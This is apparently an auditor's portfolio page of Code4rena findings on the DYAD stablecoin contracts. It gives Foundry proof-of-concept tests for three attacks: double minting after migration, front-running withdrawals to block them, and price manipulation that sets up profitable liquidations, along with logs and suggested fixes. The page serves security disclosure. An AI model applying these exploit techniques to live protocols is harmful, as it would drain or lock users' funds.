DYAD - AM's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 50/183

Findings: 3

Award: $243.18

๐ŸŒŸ Selected for report: 0

๐Ÿš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L156-L169

Vulnerability details

Migration process could be exploited to create a double spend opportunity by minting two times with the same collateral if the vault licenser would not be changed as DYAD token is counting the minting based on the vault manager address and NftId, because the vault managed address will change the entry in the mapper for that nftId will also be 0 (empty) so it will allow to mint more

Impact

Double spend by minting two times with the same collateral breaking the invariant of TVL > DYAD SUPPLY

Proof of Concept

  1. Alice deposit collateral in vault manager v1 weth vault and mint DYAD
  2. Migration is happening and new vault manager v2 with new weth vault is happening
  3. New weth vault is added into the licenser.
  4. If the old vault have not been removed from licenser, Alice can call "add" function to be able to interact with it and after that call mintDyad, the DYAD token contract will think see it have not minted tokens with that collateral yet because the return of "mintedDyad" function will be 0.
  5. Minting will happen and Alice doubled her tokens without adding more TVL
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {Vault}         from "../../src/core/Vault.sol";
import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { FakeVault } from "./FakeVault.sol";
import { KerosineManager } from "../src/core/KerosineManager.sol";
import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol";
import { Kerosine } from "../../src/staking/Kerosine.sol";
import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol";
import { FlashLoanPool } from "./FlashLoanPool.sol";


contract VaultManagerTestV2 is VaultManagerTestHelper {

    address public alice;
    address public bob;
    address public carol;
    address public david; 
    address public elene;

    address[] public users;

    uint public aliceNftId;
    uint public bobNftId;
    uint public carolNftId;
    uint public davidNftId;
    uint public eleneNftId;

    uint[] public usersNftIds;

    VaultManagerV2 public vaultManagerV2;
    Kerosine public kerosine;
    KerosineDenominator public kersoineDenom;
    KerosineManager public kerosineManager;
    UnboundedKerosineVault public unbondedKerosineVault;


    function test_mint_after_migrate_double_value_dyad_balance_bigger_then_tvl() public {
        uint id = mintDNft();
        //deposit(weth, id, address(wethVault), 1e22);
        //setup weth balance
        uint256 wethAmount = 1e18;
        weth.mint(address(this), wethAmount);
        weth.approve(address(vaultManager), wethAmount);
        //vaultManagerV1 setup
        vaultManager.add(id, address(wethVault)); 
        //deposit 
        vaultManager.deposit(id, address(wethVault), wethAmount);

        // mintDay using VaultManagerV1
        vaultManager.mintDyad(id, 666e18, RECEIVER); //maxim to mint ~150% cr

        vm.expectRevert(bytes4(keccak256("CrTooLow()")));
        vaultManager.mintDyad(id, 1e18, RECEIVER); // can't mint more because it will be below 150% cr

        uint256 receiverDyadBalanceBeforeMigration = dyad.balanceOf(RECEIVER);
        uint256 totalUSDValueBeforeMigration = vaultManager.getTotalUsdValue(id);
        console.log("Receiver DYAD balance before migration: ", receiverDyadBalanceBeforeMigration / 1e18);
        console.log("TVL before migration: ", totalUSDValueBeforeMigration / 1e18);

        //Migratino happens
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
        vm.startPrank(msg.sender);
        vaultManagerLicenser.add(address(vaultManagerV2));
        vm.stopPrank();
        vaultManagerV2.add(id, address(wethVault));

        vaultManagerV2.mintDyad(id, 666e18, RECEIVER);

        uint256 receiverDyadBalanceAfterMigration = dyad.balanceOf(RECEIVER);
        uint256 totalUSDValueAftereMigration = vaultManager.getTotalUsdValue(id);

        console.log("Receiver DYAD balance after migration: ", receiverDyadBalanceAfterMigration / 1e18);
        console.log("TVL after migration: ", totalUSDValueAftereMigration / 1e18);

        //dyad balance before & after migration
        assertGt(receiverDyadBalanceAfterMigration, receiverDyadBalanceBeforeMigration);
        
        //TVL before & after migration
        assertEq(totalUSDValueAftereMigration, totalUSDValueBeforeMigration);

        // TVL < DYAD balance
        assertGt(receiverDyadBalanceAfterMigration, totalUSDValueAftereMigration);

    }
}

Tools Used

Manual Review

Create new vault licenser contract and add there only the new weth, wsteth contracts

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T07:02:41Z

JustDravee marked the issue as duplicate of #966

#1 - c4-pre-sort

2024-04-29T08:37:23Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-04T09:46:23Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-29T11:20:02Z

koolexcrypto marked the issue as duplicate of #1133

#4 - c4-judge

2024-05-29T14:00:43Z

koolexcrypto marked the issue as satisfactory

Findings Information

Labels

bug
3 (High Risk)
high quality report
satisfactory
upgraded by judge
:robot:_09_group
duplicate-930

Awards

238.0297 USDC - $238.03

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

In VaulManagerV2, the development team have added a flash loan protection on the withdraw function to protect the price of Kerosen from manipulation. That protection does not allow an user to deposit and withdraw funds in the same block on one nft. The deposit function is just checking that the nft is valid ( has an owner ), and not if the owner have deposited inside it, also it is not checking if the vault is a real vault in the ecosystem or just a random address, this lack of sanity checks can exploit the protection mechanism to create a DOS.

Impact

The protection mechanism can be leveraged by an actor to DOS the withdraw of an user by leveraging front-running nature of ethereum transaction. Both withdraw and redeemDyad can be dos as withdraw is used by redeemDyad

Proof of Concept

We wrote a test scenario to showcase the bug: To run the test use the following command:

forge test -vvv --match-test "test_dos_withdraw_for_other_user"
  1. Alice deposit some funds
  2. N ( Next block ) block withdraw the funds back ( to showcase the process working normally)
  3. N+1 block Alice deposits again
  4. N+2 alice wants to withdraw funds again, however this time Bob frontrun her withdraw tx with a deposit tx that is using a fake address for the vault and 0 balance ( to not spend more funds then necessary, just the gas )
  5. Alice withdraw tx will fail this block.
  6. If bob is a user sophisticated enough with access to MEV infrastructure it can DOS Alice indefinitely, depending of the sum of token Alice tries to withdraw/redeem it can make sense to spend a lot of funds on continuously DOS her txs

pragma solidity =0.8.17;

import "forge-std/console.sol";
import {Vault}         from "../../src/core/Vault.sol";
import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { FakeVault } from "./FakeVault.sol";
import { KerosineManager } from "../src/core/KerosineManager.sol";
import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol";
import { Kerosine } from "../../src/staking/Kerosine.sol";
import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol";

contract DOSWithdrawalFrontrunning is VaultManagerTestHelper {

    VaultManagerV2 public vaultManagerV2;

    address public bob;

    function test_dos_withdraw_for_other_user() public {
        
        uint id = mintDNft();
        //setup weth balance
        uint256 wethAmount = 1000e15;
        weth.mint(address(this), wethAmount);
       
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        //deploy wethVault for VaultManagerV2;
        Vault vault                   = new Vault(
            vaultManagerV2,
            weth,
            IAggregatorV3(address(wethOracle))
        );

        weth.approve(address(vaultManagerV2), type(uint256).max);

        //act as vault licenser owner
        vm.startPrank(msg.sender);
        vaultManagerLicenser.add(address(vaultManagerV2));
        vaultLicenser.add(address(vault));
        vm.stopPrank();

        vaultManagerV2.add(id, address(vault));
        
        //deposit funds
        uint256 depositBlockBumber = block.number;
        vaultManagerV2.deposit(id, address(vault), wethAmount);

        //withdraw funds next block
        vm.roll(depositBlockBumber + 1);
        vaultManagerV2.withdraw(id, address(vault), wethAmount, address(this));

        //second deposit
        depositBlockBumber = block.number;
        vaultManagerV2.deposit(id, address(vault), wethAmount);


        //withdraw funds next block
        vm.roll(depositBlockBumber + 1);

        //bob dos the withdrawal with fakeVault, bob frontrun the withdraw tx of the other user
        bob = vm.addr(0x12345);
        vm.startPrank(bob);
            FakeVault fakeVault = new FakeVault();
            vaultManagerV2.deposit(id, address(fakeVault), 0);
        vm.stopPrank();

        //Alice tries to withdraw
        vm.expectRevert(bytes4(keccak256("DepositedInSameBlock()")));
        vaultManagerV2.withdraw(id, address(vault), wethAmount, address(this));
        
    }
  
}

Test output:

Ran 1 test for test/DOSWithdrawalFrontrunning.sol:WhaleHoneypotSupplyShock
[PASS] test_dos_withdraw_for_other_user() (gas: 3897299)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.87ms (474.71ยตs CPU time)

Tools Used

Manual Review

Add the following changes to deposit function to make sure that only the owner of an nft can deposit funds into it and the vault needs to be licensed.

  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
-      isValidDNft(id)
+      isDNftOwner(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
+   if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

Assessed type

DoS

#0 - c4-pre-sort

2024-04-27T11:31:24Z

JustDravee marked the issue as high quality report

#1 - c4-pre-sort

2024-04-27T11:31:30Z

JustDravee marked the issue as duplicate of #1103

#2 - c4-pre-sort

2024-04-27T11:45:49Z

JustDravee marked the issue as duplicate of #489

#3 - c4-judge

2024-05-05T20:38:11Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-05T20:48:55Z

koolexcrypto marked the issue as nullified

#5 - c4-judge

2024-05-05T20:48:58Z

koolexcrypto marked the issue as not nullified

#6 - c4-judge

2024-05-08T15:29:18Z

koolexcrypto marked the issue as duplicate of #1001

#7 - c4-judge

2024-05-11T19:51:17Z

koolexcrypto marked the issue as satisfactory

#8 - c4-judge

2024-05-13T18:34:29Z

koolexcrypto changed the severity to 3 (High Risk)

#9 - stefanandy

2024-05-17T08:41:54Z

If issue #1266 is considered alone, I think this should be added also as a dup of it ( besides the already dup of #1001 ), as it can be seen in the unittest that I was using an arbitrary address ( FakeVault ) contract, not actual vault, to make basically an "empty" deposit. I admit I have not added the code for the FakeVault as time was thin but I was thinking it's not necessary as it is understandable from it's name and data type that is an arbitrary vault created by the attacked and not real vault owned by DYAD protocol

#10 - c4-judge

2024-05-24T10:42:41Z

koolexcrypto marked the issue as not a duplicate

#11 - c4-judge

2024-05-24T10:42:51Z

koolexcrypto marked the issue as duplicate of #1266

#12 - koolexcrypto

2024-05-24T10:45:43Z

Thanks for the input

Because of the comment in the code, I duped it with 1266, might get partial credit depending on the quality of other issues. Please next time add all necessary code/info for PoC.

#13 - c4-judge

2024-05-28T19:12:53Z

koolexcrypto marked the issue as duplicate of #930

Awards

4.8719 USDC - $4.87

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
:robot:_67_group
duplicate-67

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L69 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L156-L169

Vulnerability details

One of the new features deployed in the migration is Kerosene, this is an erc20 token that represents a way of tokenizing DYAD surplus collateral, it can be deposited in Notes and used to increase Note mint capability.

Kerosene asset price is calculated based on the difference between the TVL in DYAD vaults ( weth, wsteth vaults) and the total minted DYAD supply (numerator) divided by the circulating supply (denominator) (the division is necessary to calculate the price per token).

The asset price is calculated live, on each request ( function call) based on the real-time values it have and that makes the asset price formula vulnerable to supply shocks when the usability is in low to medium range of values ( as it is right now on mainnet ).

Impact

The price formula vulnerability can be leveraged by an whale to create a honeypot setup that will allow to gain an unfair advantage on liquidating users by manipulating the Kerosen price

Proof of Concept

We provided the following test scenario simulating mainnet values

The test can be run using the command:

forge test -vvv --match-test "test_finding_whale_trap_manipulate_price_real_mainnet_values"
  1. Migration & linear kerosen distribution is taking place.
  2. Some random users that received Kerosen deposit it and mint DYAD
  3. Whale deposit funds and stay silent to increase kerosen price ( difference between TVL and minted DYAD increased )
  4. As price increased users mint more DYAD
  5. Whale activate honeypot by minting DYAD and the price of kerosen will decrease ( difference between TVL and DYAD decrease drastically )
  6. Whale will liquidate and take profits ( step 5-6 happen in the same tx)

pragma solidity =0.8.17;

import "forge-std/console.sol";
import {Vault}         from "../../src/core/Vault.sol";
import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { FakeVault } from "./FakeVault.sol";
import { KerosineManager } from "../src/core/KerosineManager.sol";
import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol";
import { Kerosine } from "../../src/staking/Kerosine.sol";
import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol";

contract WhaleHoneypotSupplyShock is VaultManagerTestHelper {

    VaultManagerV2 public vaultManagerV2;
    Kerosine public kerosine;
    KerosineDenominator public kersoineDenom;
    KerosineManager public kerosineManager;
    UnboundedKerosineVault public unbondedKerosineVault;

    function test_finding_whale_trap_manipulate_price_real_mainnet_values() public {
        //
        /// !!! Attention for testing purpouse 1 eth = 1 000$ ( 1k )
        /// !!! mainnet values right now:
        ///      1. dyad holders ==> 118
        ///      2. TVL => 1.91$ M
        ///      3. dyad.totalSupply (minted) => 632967400000000000000000 / 1e18 = 632967.4$ ( ~632$k)
        ///      4. 1 billion Kerosene distributed over 10 years ==> ~100 millions first year (rounded up/down for easier simulation)
        //       5. ~kerosene price at launch 127805 / 1e8 ==> 0.00127805 per token
        ///      6. ~100 milions tokens * 0.00127805$ per token ==> value worth of 127805$
        ///      7. Kerosene tokens are distributed to users that provide liquidity for DYAD and staking LP tokens based on that we can assume that a healthy % of users who will receive kerosene initally will be around 30% (could be more/less), that's eq of ~35 users 
        ///      8. ( Just for testing ) 127805$ / ~35 users = 3651$ per user ( in avg )
        /// !!! On avg each holder have ~5k minted dyad and and locked ~16k
        //
        //Migrate to VaultManagerV2 and deploy kerosine
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
        kerosine = new Kerosine();
        kersoineDenom = new KerosineDenominator(kerosine);
        kerosineManager = new KerosineManager();
        unbondedKerosineVault = new UnboundedKerosineVault(
                                vaultManagerV2, kerosine, dyad, kerosineManager
                            );
        unbondedKerosineVault.setDenominator(kersoineDenom);
        vaultManagerV2.setKeroseneManager(kerosineManager);

        //deploy wethVault for VaultManagerV2;
        Vault vault                   = new Vault(
            vaultManagerV2,
            weth,
            IAggregatorV3(address(wethOracle))
        );
        //add wethvault into keronineManager for kersoene price calculations ( as it's depended of tvl)
        kerosineManager.add(address(vault));
        //license vaults
        {
            vm.startPrank(msg.sender);
            vaultManagerLicenser.add(address(vaultManagerV2));
            vaultLicenser.add(address(vault));
            vaultLicenser.add(address(unbondedKerosineVault));
            vm.stopPrank();
        }

        (address[] memory randomUsersForKeroseenDistriubtion, uint256[] memory randomUsersNftIds) = add_tvl_to_simulate_mainnet_tvl_and_kerosene_price(vault);

        //kerosen price at vault migration & deployment
        uint kerosenePrice = unbondedKerosineVault.assetPrice();
        console.log("Kerosene Value: ", kerosenePrice);
        assertEq(kerosenePrice, 127805);

        //distribute kerosene to users, ! We are that the whole allocation for the year will not be allocated in one go, however that fact does not change the issue and it's for testing pupouses only
        (uint256 kerosenePerUser, address[] memory fiveRandomUsers, uint256[] memory fiveRandomUsersNftIds) = disribute_kerosen_to_the_lps_and_take_five_random_users(randomUsersForKeroseenDistriubtion, randomUsersNftIds);

        kerosenePrice = unbondedKerosineVault.assetPrice();
        console.log("Kerosene Value after kerosene distribution: ", kerosenePrice);
        assertEq(kerosenePrice, 127805);

        //Take the 5 random users that got kerosene, add it to the collateral and mint more DYAD;
        {
            for(uint i=0; i < fiveRandomUsers.length; i++){
                vm.startPrank(fiveRandomUsers[i]);
                    vaultManagerV2.add(fiveRandomUsersNftIds[i], address(unbondedKerosineVault));
                    kerosine.approve(address(vaultManagerV2), type(uint256).max);
                    vaultManagerV2.deposit(fiveRandomUsersNftIds[i], address(unbondedKerosineVault), kerosenePerUser);
                    // Users collateral ration is now ~370%
                    uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after putting kerosene", cr / 1e16); 
                    // Seeing that their cr increase they will mint more dyad next block
                    
                    // Cr is now %160 after more minting, users are bullish on kerosene & dyad stability 
                    vaultManagerV2.mintDyad(fiveRandomUsersNftIds[i], 6900e18, fiveRandomUsers[i]);
                    cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after putting kerosene & minting more dyad", cr / 1e16); 
                vm.stopPrank();

            }
            kerosenePrice = unbondedKerosineVault.assetPrice();
            console.log("Kerosene Value after kerosene distribution & 5 users deposits: ", kerosenePrice);
        }

        uint whaleNftId = mintDNft();
        
        uint whaleAmount = 4000e18;

        //Whale deposit funds and stay silent and wait for users to fail into honeypot
        {
            // we simulate whale have 4 millons to spend on honeypot, 1 eth = 1k$
            weth.mint(address(this), whaleAmount);
            deal(address(this), 2 ether);
            weth.approve(address(vaultManagerV2), type(uint256).max);
            vaultManagerV2.deposit(whaleNftId, address(vault), whaleAmount);

            // Price have increase more then 4x;
            uint keroseneOldPrice = kerosenePrice;
            kerosenePrice = unbondedKerosineVault.assetPrice();
            console.log("Kerosene Value after whale deposit: ", kerosenePrice); // old 0,0012.. now 0,005...
            assertGt(kerosenePrice, keroseneOldPrice);
        }

        //Now the users check their cr, see the price of kerosene have drastically increase and mint more
        {
            for(uint i=0; i < fiveRandomUsers.length; i++){
                vm.startPrank(fiveRandomUsers[i]);
                    //User collateral is  ..% after price increase by whale
                    uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after kerosene price increase by whale", cr / 1e16);                     
                    vaultManagerV2.mintDyad(fiveRandomUsersNftIds[i], 7000e18, fiveRandomUsers[i]);

                    // Cr after minting more dyad is again ~160%, they trying to keep it close
                    cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after kerosene price increase by whale & minting more dyad", cr / 1e16);     
                vm.stopPrank();
            }
        }
        //skip 1 block 
        uint256 currentBlock = block.number;
        vm.roll(currentBlock + 1);

        //Now the whale activate the honeypot and decrease the price by minting a lot of dyad ( all of this can happen in one tx)
        {    
            vaultManagerV2.add(whaleNftId, address(vault));
            uint whaleTotalValueBeforeLiqudations = vaultManagerV2.getTotalUsdValue(whaleNftId);
            console.log("Whale value before liqudations: ", whaleTotalValueBeforeLiqudations);
            //deposited 4m$, mint 850k dyad to have an aprox~470%;
            console.log("Whale is minting dyad");
            vaultManagerV2.mintDyad(whaleNftId, 850000e18, address(this));
            // Wahle cr is now 470% ( preety healthy %)
            uint cr = vaultManagerV2.collatRatio(whaleNftId);
            console.log("Whale Cr after minting of dyad is ", cr / 1e16);                     
                    
            // Price have decrease now;
            uint keroseneOldPrice = kerosenePrice;
            kerosenePrice = unbondedKerosineVault.assetPrice();
            console.log("Kerosene Value after whale deposit: ", kerosenePrice); // old 0,005.. now 0,004...
            assertLt(kerosenePrice, keroseneOldPrice);

            //Check cr of the five random users that felt into the honeypot
            for(uint i=0; i < fiveRandomUsers.length; i++){
                //Users collateral is  now ~148% after honeypot activation, time to liquidate
                uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                console.log("Cr after whale activated honeypot", cr / 1e16);                     
            }

            //whale liquidations starts
            for(uint i=0; i < fiveRandomUsers.length; i++){
                vaultManagerV2.liquidate(fiveRandomUsersNftIds[i], whaleNftId);
            }
            // whale value after liquidation
            // Whale have made a nice ~59-60k profit
            uint whaleTotalValueAfterLiqudations = vaultManagerV2.getTotalUsdValue(whaleNftId);
            console.log("Whale value after liqudations: ", whaleTotalValueAfterLiqudations );
            assertGt(whaleTotalValueAfterLiqudations, whaleTotalValueBeforeLiqudations );

            //Check users value after liquidation
            for(uint i=0; i < fiveRandomUsers.length; i++){
                //Users collateral is  now ~148% after honeypot activation, time to liquidate
                uint userValue = vaultManagerV2.getTotalUsdValue(fiveRandomUsersNftIds[i]);
                console.log("Users value after liq", userValue);                     
            }  
        }
    }


    function add_tvl_to_simulate_mainnet_tvl_and_kerosene_price(Vault vault) public returns(address[] memory, uint256[] memory){
        address[] memory randomUsersForKeroseenDistriubtion = new address[](35); 
        uint256[] memory randomUsersNftIds = new uint256[](35);
        for(uint i=0; i<118; i++) {
            string memory mnemonic = "test test test test test test test test test test test junk";
            uint256 privateKey = vm.deriveKey(mnemonic, 0);
            address someUser = vm.addr(privateKey);
            deal(someUser, 2 ether);
            {
                vm.startPrank(someUser);
                    uint weth_amount = 16.186e18;
                    weth.mint(someUser, weth_amount);
                    weth.approve(address(vaultManagerV2), type(uint256).max);
                    uint nftId = dNft.mintNft{value: 1 ether}(someUser);
                    vaultManagerV2.add(nftId, address(vault));
                    vaultManagerV2.deposit(nftId, address(vault), weth_amount);
                    vaultManagerV2.mintDyad(nftId, 5355e18, someUser);
                vm.stopPrank();
                if(i<35) {
                    randomUsersForKeroseenDistriubtion[i] = someUser;
                    randomUsersNftIds[i] = nftId;
                }
            }
        }
        return (randomUsersForKeroseenDistriubtion, randomUsersNftIds);
    }

    function disribute_kerosen_to_the_lps_and_take_five_random_users(address[] memory randomUsers, uint256[] memory randomUsersNftIds) public returns(uint256, address[] memory, uint256[] memory){
        address[] memory fiveRandomUsers = new address[](5); 
        uint256[] memory fiveRandomUsersNftIds = new uint256[](5);
        uint256 kerosenePerUser = 2857142e18;
        for(uint i=0; i<randomUsers.length; i++){
            // 1_00_000_000  tokens / 35 users ( could be more or less of course ) ==> 2 857 142 tokens per user
            kerosine.transfer(randomUsers[i], kerosenePerUser); 
            if ( i<5) {
                fiveRandomUsers[i] = randomUsers[i];
                fiveRandomUsersNftIds[i] = randomUsersNftIds[i];
            }
        }
        return (kerosenePerUser, fiveRandomUsers, fiveRandomUsersNftIds);
    }
  
}

Test output:


Ran 1 test for test/WhaleHoneypotSupplyShock.sol:WhaleHoneypotSupplyShock
[PASS] test_finding_whale_trap_manipulate_price_real_mainnet_values() (gas: 46230553)
Logs:
  Kerosene Value:  127805
  Kerosene Value after kerosene distribution:  127805
  Cr after putting kerosene 370
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 370
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 369
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 369
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 368
  Cr after putting kerosene & minting more dyad 161
  Kerosene Value after kerosene distribution & 5 users deposits:  124355
  Kerosene Value after whale deposit:  524355
  Cr after kerosene price increase by whale 254
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 254
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 253
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 253
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 253
  Cr after kerosene price increase by whale & minting more dyad 161
  Whale value before liqudations:  4000000000000000000000000
  Whale is minting dyad
  Whale Cr after minting of dyad is  470
  Kerosene Value after whale deposit:  435855
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Whale value after liqudations:  4059549370097842000470000
  Users value after liq 7579305754671382288912
  Users value after liq 7609130844643092639701
  Users value after liq 7638826361507108693960
  Users value after liq 7668423811849125399928
  Users value after liq 7697893109701067659602

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 193.43ms (191.82ms CPU time)

We can observe at the end that the whale have made a nice ~60k profit, the profit can vary based on the number of liquidations that the whale will perform.

The time period between whale honeypot setup and honeypot activation can vary from a few blocks to a few days or weeks, depending on the whale target profits and how many liquidations wants to execute. The honeypot can be achieved as long as there is no huge drastic syncronize increased between dyad minted supply and tvl, if the honeypot can never be activated in a profitability state whale can simply withdraw funds without risking anything ( whale can of course pre-calculate the asset price to see how many users it will catch at current block )

Tools Used

Manual Review

Limit the amount of depositing and minting that can happen in a tx, in a block or in a day to create a more stepped curved asset price and allow the users to react if their collateral ratio is falling, for example:

function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
+    if ( newDyadMinted > ( dyad.totalSupply() + (( dyad.totalSupply() / 10000) * 500)) )+    return SupplyIncresedWithMoreThenFivePercent() // revert the call if the new minted day is increasing the total supply with more then 5% in a tx
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

Assessed type

MEV

#0 - c4-pre-sort

2024-04-28T05:54:57Z

JustDravee marked the issue as duplicate of #67

#1 - c4-pre-sort

2024-04-29T09:06:19Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-05T09:59:11Z

koolexcrypto changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-05-08T11:50:04Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-08T12:02:56Z

koolexcrypto marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax ยฉ 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter